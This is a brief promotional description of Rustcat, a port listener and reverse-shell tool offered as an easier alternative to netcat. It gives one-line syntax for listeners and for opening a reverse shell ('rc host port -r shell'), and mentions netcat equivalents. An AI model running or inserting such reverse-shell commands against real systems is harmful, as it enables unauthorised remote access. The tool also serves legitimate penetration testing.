🎨 Rustcat is a modern port listener & Reverse Shell that is very easy to use.

• Listen on ports
• Command history & Tab completion
• Reverse shell
• Udp
• Colors

Starting a listener is just as simple as rc -lp port. While in netcat you would do something like nc -nlvp port to get the same results.

And creating a reverse shell has never been easier, rc host port -r shell is all you need. No more long /dev/tcp stuff that you always forget.

Command history is something we all need. How annoying isn't it when you accidently type a long command wrong, then you have to rewrite the entire thing.

But Rustcat fixes that with command history. Just add -H and you will get command history (rc -lHp port) and command completion, unlike netcat where you have to use another application and do rlwrap -cAr nc -nlvp port to get the same results.

When adding -H, the shell will almost work like a ssh shell.

A little splash of color doesn't hurt :).

Rustcat supports unix and windows systems.
